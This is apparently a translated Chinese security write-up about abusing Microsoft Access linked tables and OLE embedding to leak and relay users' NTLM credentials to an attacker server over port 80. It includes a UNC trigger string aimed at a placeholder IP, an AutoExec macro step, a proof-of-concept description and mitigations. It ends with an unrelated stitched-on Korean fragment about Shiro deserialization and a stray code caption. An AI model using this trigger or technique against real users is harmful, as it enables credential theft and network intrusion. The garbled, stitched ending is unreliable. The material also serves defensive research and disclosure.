.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
10 月12 日，微軟宣布新一輪過渡計劃，棄用NTLM 身份認證方式，讓更多企業和用戶過渡到Kerberos。
Microsoft Access (Office套件的一部分)有一個“鏈接到遠程SQL Server表”的功能。攻擊者可能會濫用此功能，通過任意TCP端口(如端口80)自動將Windows用戶的NTLM令牌洩露給攻擊者控制的任何服務器。只要受害者打開.accdb或.mdb文件，就可以發起攻擊。事實上，更常見的Office文件類型(如.rtf)都可以以類似方式運行。這種技術允許攻擊者繞過現有的防火牆規則，這些規則旨在阻止由外部攻擊發起的NTLM信息竊取。
什麼是NTLM？針對它的常見攻擊有哪些？ NTLM是NT LANManager的縮寫，這也說明了協議的來源。 NTLM是指telnet的一種驗證身份方式，即問詢/應答身份驗證協議，是Windows NT 早期版本的標準安全協議，是Microsoft在1993年引入的一種目前已被棄用的身份驗證協議。微軟在今年10月宣布，棄用NTLM 身份認證方式，讓更多企業和用戶過渡使用Kerberos，Kerberos 提供了更好的安全保證，並且比NTLM 更具可擴展性，現在成為Windows 中首選默認協議。
企業雖然可以關閉NTLM 身份認證，但那些硬連線（hardwired）的應用程序和服務可能會遇到問題，為此微軟引入了兩個身份驗證功能。
其一是Initial and Pass Through Authentication Using Kerberos（IAKerb），允許“沒有域控制器視線的客戶端通過有視線的服務器進行身份驗證”。
另一個是Kerberos 的本地密鑰分發中心(KDC)，它增加了對本地賬戶的身份驗證支持。通過上述兩項功能的推進，Kerberos 將成為唯一的Windows 身份驗證協議。
以下是針對NTLM的三種最著名的攻擊。
1.暴力攻擊利用NTLM哈希函數規範中的固有漏洞，從存儲在服務器上的NTLM哈希中恢復原始密碼。
2.傳遞哈希攻擊濫用了NTLM哈希來挑戰/響應模型來證實客戶端的身份，使得使用哈希而不是普通密碼這一事實在本質上毫無意義。
3.中繼攻擊通常被稱為“中間人”攻擊，攻擊者攔截握手交易，在與服務器交談時假扮成客戶端，反之亦然，這樣就可以將他們的消息互相傳遞，直到會話被驗證的關鍵時刻，此時攻擊者切斷合法客戶端並代替他們進行對話。
上述攻擊的緩解措施出現在Kerberos中，Kerberos是麻省理工學院開發的一種身份驗證協議，比NTLM早了整整五年。
不過，對於任何想要保留NTLM服務器的用戶來說，微軟設計了一個過渡機制，簡單地阻止通過NTLM協議使用的端口(139和445)的所有組織出站流量，使上述攻擊更加難以執行，這樣攻擊者就不可能獲得對網絡的初始Access的口令。這種由外部攻擊發起的攻擊技術被稱為“強制身份驗證”。
不過這種權宜之計總是漏洞百出。在這篇文章中，我們提出了一種新的方法，可以繞過這些端口使緩解措施失效，即可以直接針對內部用戶進行NTLM攻擊。這種方法通過濫用MS-Access應用程序中稱為“Access鍊錶”的功能來實現。
MS-Access中的鍊錶在討論攻擊者如何濫用此功能之前，我們將首先解釋該功能在用於合法目的時是如何正常工作的。使用鍊錶，用戶可以連接到外部數據庫，例如遠程Microsoft SQL服務器，這種功能的優勢應該是不言而喻的，不過讓每個用戶在他們的本地設備上保留一個數據庫副本在很多時候並不是一個很好的解決方案，而且絕對不是長久的解決方案。要激活該功能，用戶可以點擊“外部數據”選項卡的“ODBC Database”按鈕，如下所示。我們以Office 2010為例，但這同樣適用於所有版本的Office。
點擊“ODBC Database”按鈕啟動連接到Microsoft Access 2010上的遠程SQL Server的引導
MS-Access建議使用另一種方法，用一次性下載遠程表，這樣就可以將結果視為本地表。為了實際使用鏈接功能並與遠程數據庫同步，用戶選擇了另一個選項，“通過創建鍊錶鏈接到數據源”。
MS-Access允許用戶在創建遠程數據庫的本地副本和完整的遠程鏈接之間進行選擇
然後，用戶在對話框中選擇“SQL Server”作為ODBC Database。
選擇ODBC Database類型的對話框
ODBC(OpenDatabaseConnectivity，開放數據庫互連)是微軟公司開放服務結構(WOSA，Windows Open Services Architecture)中有關數據庫的一個組成部分，它建立了一組規範，並提供了一組對數據庫訪問的標準API（應用程序編程接口）。
此時，用戶需要選擇使用遠程服務器進行身份驗證的方法，如下圖所示。
選擇SQL Server身份驗證方法的對話框
一般的用戶會根據服務器支持的身份驗證方法、公司安全策略以及他們個人認為方便的方式進行選擇。為了方便講解，我們會假設用戶選擇使用自己的Windows ID憑據進行身份驗證的選項。此外，典型的用戶可能會將遠程服務器的端口保留為默認值(1433)，但是，出於為了方便講解，我們暫時假設用戶選擇不經常使用的端口，例如端口80。
畢竟，沒有什麼可以阻止SQL服務器監聽端口80，一個合法組織的SQL服務器可能不會這樣做，但是如果有人這樣做了，網絡也不會產生什麼異常。
選擇服務器的IP地址、端口和協議的對話框
假設遠程SQL服務器的身份驗證成功並且所選表存在，那麼在客戶機的“tables”列表中就會出現一個表示鍊錶的新條目。當用戶點擊此條目時，將建立到該遠程數據庫的連接，並且MS-Access客戶端嘗試使用用戶的Windows憑據與SQL服務器進行身份驗證。
在MS-Access的“tables”列表中顯示的鍊錶
濫用鍊錶在將該功能武器化並轉化為NTLM中繼攻擊之前，攻擊者可以設置一個他們控制的服務器，監聽端口80，並將其IP地址放在上面的“服務器別名”字段中。然後，他們可以將數據庫文件(包括鍊錶)發送給受害者。如果受害者打開文件並點擊表，受害客戶端CV將聯繫攻擊者控制的服務器SA並嘗試進行身份驗證。然後，SA處於執行攻擊的最佳位置，它可以立即啟動同一組織中目標NTLM服務器ST的身份驗證過程，接收挑戰，並將該挑戰作為攻擊者控制的CV的一部分發送到CV↔SA身份驗證過程，接收有效響應，然後將該響應傳遞給SA來通過ST的成功身份驗證。身份驗證是使用TDS中封裝的NTLMSSP來完成的。讓受害者打開文件並點擊數據庫是一件很危險的事情。關於“點擊數據庫”部分，從技術上講，MS Access支持宏，因此攻擊者理論上可以創建一個自動打開鏈接表的宏，並將其設置為在打開文件時自動執行，這是通過將宏命名為AutoExec來實現的。當然，這是一條死胡同，因為隨後會提示用戶啟用宏，就在去年，微軟計劃推出了一項針對這種情況的新安全功能。這個功能不適用於簡單的MS Access宏。這些與成熟的VBA不同，它們的功能較弱，處理起來也不那麼謹慎。即使是2010年推出的可證明有效的“受保護視圖（protected view）”功能，該功能會提示用戶文檔“可能不安全”並提示用戶“啟用宏”。
添加一個打開鏈接表的MicrosoftAccess宏，並將其保存為“AutoExec”以在打開文件時執行
OLÉ, OLÉ, OLÉMicrosoft Access在Windows上註冊為“OLE鏈接”服務器。例如，可以在Word文檔中嵌入圖像，當文檔被打開時，MS-Paint將處理圖像並發回信息，從而使MS-Word可以內聯顯示圖像。
同樣，也可以將MS word文檔中的.accdb文件鏈接為OLE對象，該對象將自動下載（也可以通過端口80/tcp），然後由MS Access處理。像下面這樣簡單的字符串就會觸發這個行為:
\\\\111.111.111.111@80\\test.accdb
總的來說，整個攻擊鍊是這樣的:
濫用鍊錶
概念驗證為了方便研究，研究人員建立一個展示這種攻擊的概念驗證環境，禁用服務器的第一個響應數據包（PRE-LOGIN消息響應）中的加密，可以使研究的工作變得更容易，因為不需要處理TDS TLS加密。
以下是模擬受害者和虛假SQL服務器活動的過程，受害者位於典型的端口阻塞環境中（阻塞傳出的139/tcp和445/tcp流量，但允許80/tcp），而攻擊者控制的服務器位於公共雲中。受害者在試圖通過端口80上的服務器進行身份驗證時洩露了本地net-NTLMv2哈希值。
流量捕獲(PCAP)顯示了一次成功的攻擊，它使受害者通過端口80洩露了本地NTLM哈希
防禦和緩解措施研究人員已經成功地在所有可用的默認Windows + Office環境中復制了攻擊，包括最新的Windows 10/11 和Office 2021環境。
建議你可以考慮禁用MS-Access中的宏，或者如果MS-Access對你的Office套件安裝不是必需的，則將其從系統中完全刪除。
另外，請不要打開未經請求的附件。
code is as follows type: picture-elements
Repemerme=deleteme 필드를보고 Shiro Deserialization 취약성 
가 있다고 말할 수 있습니다.
